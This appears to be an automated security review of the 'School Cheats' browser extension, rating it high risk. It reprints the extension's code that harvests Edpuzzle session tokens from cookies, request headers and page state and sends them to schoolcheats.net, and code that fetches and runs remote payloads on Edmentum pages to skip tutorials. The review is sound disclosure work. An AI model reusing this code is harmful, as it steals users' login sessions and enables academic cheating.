Is School Cheats safe?
School Cheats is high risk. Clicking Edpuzzle's "Launch Cheat" makes the extension collect session tokens, falling back to cookies token and x-edpuzzle-lti-access-token. It opens schoolcheats.net/edpuzzle with these as userToken/ltiToken, exposing your session to it.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Edpuzzle session cookies sent to schoolcheats.net
Clicking Edpuzzle's "Launch Cheat" makes the extension collect session tokens, falling back to cookies token and x-edpuzzle-lti-access-token.
It opens schoolcheats.net/edpuzzle with these as userToken/ltiToken, exposing your session to it.
You click the Edpuzzle "Launch Cheat" action.
The extension gathers Edpuzzle session credentials and opens schoolcheats.net with those values in the URL.
The fallback path asks the background worker for the token and x-edpuzzle-lti-access-token cookies.
| Field | Value | Why it matters | |
|---|---|---|---|
Edpuzzle user session token | userToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzY0MjkxIiwiaWF0IjoxNzIwMDAwMDAwfQ.8H2mW1ZxqK5pV9nR3YbQ4tC6uA0sD7eF9gL2hJ3kM4n (illustrative) | This can identify an active Edpuzzle login session for you. | |
Edpuzzle LTI access token | ltiToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb250ZXh0IjoiY2xhc3Nyb29tXzEwMTciLCJpYXQiOjE3MjAwMDAxMjN9.jN6fK1rP4sT8vB2xM5qW9cY3eU7aH0dL4gR6zV1pQ2s (illustrative) | This can link the browser session to your Edpuzzle classroom launch context. | |
Remote destination path | https://schoolcheats.net/edpuzzle?userToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzY0MjkxIiwiaWF0IjoxNzIwMDAwMDAwfQ.8H2mW1ZxqK5pV9nR3YbQ4tC6uA0sD7eF9gL2hJ3kM4n<iToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb250ZXh0IjoiY2xhc3Nyb29tXzEwMTciLCJpYXQiOjE3MjAwMDAxMjN9.jN6fK1rP4sT8vB2xM5qW9cY3eU7aH0dL4gR6zV1pQ2s (illustrative) | This is the site that receives the token-bearing URL when the extension opens the handoff page. |
The shipped code paths that collect Edpuzzle credentials and open the handoff URL
async function BT(i) {
const a = i.indexOf("edpuzzle.com") !== -1,
l = {};
if (a) {
const u = await NT();
if (u != null && u.userToken && (l.userToken = u.userToken), u != null && u.ltiToken && (l.ltiToken = u.ltiToken), !l.userToken) {
const c = await li({
type: "cookie",
domain: "edpuzzle.com",
name: "token"
});
c && (l.userToken = c)
}
if (!l.ltiToken && UT()) {
const c = await li({
type: "cookie",
domain: "edpuzzle.com",
name: "x-edpuzzle-lti-access-token"
});
c && (l.ltiToken = c)
}
}
if (!l.userToken) {
const u = await li({
type: "edpToken"
});
u != null && u.token && Date.now() - u.ts <= VT && (l.userToken = u.token)
}
return l
}const jT = {
id: "edpuzzle",
displayName: "Edpuzzle",
hostMatches: ["edpuzzle.com"],
manifestHosts: ["https://*.edpuzzle.com/*"],
detect: i => i.indexOf("edpuzzle.com") !== -1 || sr,
detectSession: async () => ({}),
actions: [{
id: "launch",
label: "Launch Cheat",
variant: "primary",
run: async ({
host: i
}) => {
const a = await BT(i);
if (!a.userToken) {
setTimeout(() => window.alert("[School Cheats] Could not capture an Edpuzzle session token. Make sure you are logged in or that the assignment has loaded, then try again."), 0);
return
}
const l = new URLSearchParams({
userToken: a.userToken
});
a.ltiToken && l.set("ltiToken", a.ltiToken), li({
type: "opener",
url: `https://schoolcheats.net/edpuzzle?${l.toString()}`
})
}
}]
};function I(t, a) {
return new Promise(l => {
chrome.cookies.getAll({
domain: t
}, o => {
const c = o == null ? void 0 : o.find(A => A.name === a);
l((c == null ? void 0 : c.value) ?? null)
})
})
}
const E = "edp_token_",
O = "*://*.edpuzzle.com/api/v3/users/lti/me*",
j = F(() => {
const t = new Set;
chrome.webRequest.onBeforeSendHeaders.addListener(a => {
var A, f;
if (a.tabId < 0) return;
const l = (f = (A = a.requestHeaders) == null ? void 0 : A.find(h => h.name.toLowerCase() === "authorization")) == null ? void 0 : f.value;
if (!l) return;
const o = l.replace(/^Bearer\s+/i, ""),
c = `${E}${a.tabId}`;
chrome.storage.session.set({
[c]: {
token: o,
ts: Date.now()
}
}), chrome.tabs.sendMessage(a.tabId, {
type: "edpDetected"
}).catch(() => {})
}, {
urls: [O]
}, ["requestHeaders", "extraHeaders"]), chrome.tabs.onRemoved.addListener(a => {
chrome.storage.session.remove(`${E}${a}`)
}), q({
opener: a => {
t.has(a.url) || (t.add(a.url), chrome.tabs.create({
url: a.url,
active: !0
}), setTimeout(() => t.delete(a.url), 1e4))
},
cookie: async (a, l, o) => {
o(await I(a.domain, a.name))
},
edpToken: async (a, l, o) => {
var h;
const c = (h = l.tab) == null ? void 0 : h.id;
if (c == null) {
o(null);
return
}
const A = `${E}${c}`,
f = await chrome.storage.session.get(A);
o((f == null ? void 0 : f[A]) ?? null)
}
})
});const y = w(() => {
const e = window;
if (e.__sc_edp_listener) return;
e.__sc_edp_listener = !0;
const l = "a8x2",
_ = "q9z3",
b = "s4w8";
function g() {
var o, r, u;
try {
const a = Object.keys(e).find(n => n.indexOf("webpackChunk") === 0 && n.indexOf("edpuzzle_client_web") !== -1);
if (!a || !e[a]) return null;
const p = e[a],
d = p.push([
[Symbol()], {},
n => n
]);
p.pop();
let i;
try {
i = d("./app_react/modules/store.js")
} catch {
i = Object.values(d.m).map(n => {
try {
return d(n)
} catch {
return null
}
}).find(n => {
const f = n && Object.values(n)[0];
return f && typeof f.getState == "function"
})
}
if (!i) return null;
const c = Object.values(i)[0],
t = (o = c == null ? void 0 : c.getState) == null ? void 0 : o.call(c);
return t ? {
userToken: (r = t == null ? void 0 : t.user) == null ? void 0 : r.authToken,
ltiToken: (u = t == null ? void 0 : t.lti_learning2) == null ? void 0 : u.ltiAccessToken
} : null
} catch {
return null
}
}
window.addEventListener("message", o => {
const r = o.data;
if (!r || r.source !== l || r.type !== _) return;
const u = g();
try {
(o.source || window).postMessage({
source: l,
type: b,
tokens: u
}, "*")
} catch {}
})
})- schoolcheats.net
Receives the /edpuzzle navigation URL containing userToken and, when present, ltiToken query parameters.
Skip Tutorial runs remote Edmentum payloads
Clicking Skip Tutorial on Edmentum makes the extension read its stored key, fetch a payload from api.schoolcheats.net, base64-decode each string, and pass them to a page script as Angular service/property/method names to change it.
You click Skip Tutorial while using an Edmentum tutorial page.
The action is gated on a saved School Cheats product key.
The extension requests server-supplied instructions, decodes them, and runs them through the page's Angular runtime.
The decoded strings select service, property, counter, and method names used by the injected script.
| Field | Value | Why it matters | |
|---|---|---|---|
Saved product key | SCH-9K4Q-7J2M (illustrative) | This identifies the School Cheats entitlement used for your request. The extension appends it to the payload URL before contacting the API. | |
Downloaded instruction strings | payload[0] through payload[5], decoded from base64 | These strings tell the injected page script which tutorial service, properties, and methods to use. | |
Edmentum page runtime | Angular service selected from document.body | The decoded instructions run inside the page you're viewing, letting the extension's injected script change the tutorial state. |
The content script fetches and decodes the remote payload before posting it to edm-auto.js
async function HT() {
const i = await new Promise(c => chrome.storage.local.get(["sc_key"], h => c(h))),
a = i == null ? void 0 : i.sc_key;
if (!a) {
setTimeout(() => window.alert("[School Cheats] No active key. Add one in Settings first."), 0);
return
}
let l;
try {
const h = await (await fetch(`https://api.schoolcheats.net/v1/edmentum/t-payload?key=${encodeURIComponent(a)}`)).json();
if (h.error || !Array.isArray(h.payload)) {
setTimeout(() => window.alert(`[School Cheats] ${h.message||"Authorization failed"}`), 0);
return
}
l = h.payload.map(f => atob(f))
} catch (c) {
setTimeout(() => window.alert(`[School Cheats] Network error: ${(c==null?void 0:c.message)??c}`), 0);
return
}
const u = await km({
source: "a8x2",
type: "b2t6",
trigger: async () => {
const c = h => {
if (h.source !== window) return;
const f = h.data;
(f == null ? void 0 : f.source) !== "a8x2" || (f == null ? void 0 : f.type) !== "k7m3" || (window.removeEventListener("message", c), window.postMessage({
source: "a8x2",
type: "n5p9",
p: l
}, "*"))
};
window.addEventListener("message", c), await Uu("/edm-auto.js", {
keepInDom: !1
})
}
});
u.ok || setTimeout(() => window.alert(`[School Cheats] Skip tutorial failed: ${u.error}`), 0)
}The injected script consumes decoded payload slots as Angular service and method names
var edmAuto = (function() {
"use strict";
function f(t) {
return t == null || typeof t == "function" ? {
main: t
} : t
}
const w = f(() => {
const t = "a8x2",
i = "k7m3",
m = "n5p9",
y = "b2t6";
function s(n, e) {
window.postMessage({
source: t,
type: y,
ok: n,
error: e
}, "*")
}
function p(n) {
var u, a, d;
const e = window,
o = (d = (a = (u = e.angular) == null ? void 0 : u.element(document.body)) == null ? void 0 : a.injector()) == null ? void 0 : d.get(n[0]);
if (!o) return s(!1, "Tutorial not found, open a tutorial first");
const h = o[n[5]] || 0;
for (let l = 0; l < h; l++) {
const b = e.angular.element(document.body).injector();
b.get(n[0])[n[1]] = !0, o[n[2]][n[3]]()
}
o[n[4]](), s(!0)
}
const c = n => {
if (n.source !== window) return;
const e = n.data;
if (!(!e || e.source !== t || e.type !== m)) {
window.removeEventListener("message", c);
try {
p(e.p)
} catch (o) {
s(!1, String((o == null ? void 0 : o.message) ?? o))
}
}
};
window.addEventListener("message", c), window.postMessage({
source: t,
type: i
}, "*")
});
function E() {}
function r(t, ...i) {}
const g = {
debug: (...t) => r(console.debug, ...t),
log: (...t) => r(console.log, ...t),
warn: (...t) => r(console.warn, ...t),
error: (...t) => r(console.error, ...t)
};
return (async () => {
try {
return await w.main()
} catch (t) {
throw g.error('The unlisted script "edm-auto" crashed on startup!', t), t
}
})()
})();
edmAuto;- api.schoolcheats.net
Receives the product key in the t-payload query string and returns the base64-encoded Edmentum payload array.